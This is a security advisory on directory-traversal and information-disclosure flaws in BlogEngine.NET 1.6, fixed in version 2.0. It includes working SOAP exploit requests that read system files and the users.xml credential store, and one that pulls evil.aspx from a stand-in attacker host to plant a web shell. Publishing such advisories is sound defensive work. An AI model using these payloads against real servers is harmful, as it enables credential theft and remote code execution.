BlogEngine.NET Directory Traversal Vulnerability and Information Disclosure Vulnerability

Bugtraq ID:	45681
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 05 2011 12:00AM
Updated:	Jan 05 2011 12:00AM
Credit:	Deniz CEVIK
Vulnerable:	BlogEngine.NET BlogEngine.NET 1.6
Not Vulnerable:	BlogEngine.NET BlogEngine.NET 2.0

BlogEngine.NET Directory Traversal Vulnerability and Information Disclosure Vulnerability

BlogEngine.NET is prone to a directory-traversal vulnerability and an information-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting the issues may allow an attacker to obtain sensitive information and upload arbitrary files to the webserver that could aid in further attacks.

BlogEngine.NET 1.6 is vulnerable.

BlogEngine.NET Directory Traversal Vulnerability and Information Disclosure Vulnerability

Attackers can exploit these issues via a browser.

The following example SOAP requests are available:

1. <GetFile xmlns="http://dotnetblogengine.net/">
<source>c:\Windows\win.ini</source>
<destination>string</destination>
</GetFile>

2. <GetFile xmlns="http://dotnetblogengine.net/">
<source>c:\webroot\blog\App_Data\users.xml</source>
<destination>../../aa.txt</destination>
</GetFile>

3. <GetFile xmlns="http://dotnetblogengine.net/">
<source>http://attacker/evil.aspx</source>
<destination>/../../cmd.aspx</destination>
</GetFile>

BlogEngine.NET Directory Traversal Vulnerability and Information Disclosure Vulnerability

Solution:
Updates are available. Please see the references for more information.

BlogEngine.NET Directory Traversal Vulnerability and Information Disclosure Vulnerability

References:

• BlogEngine.NET 2.0 Features & Notes (BlogEngine.NET)
  
• BlogEngine.NET Homepage (BlogEngine.NET)
  
• BlogEngine.NET 1.6 Multiple Vulnerabilities (Deniz CEVIK)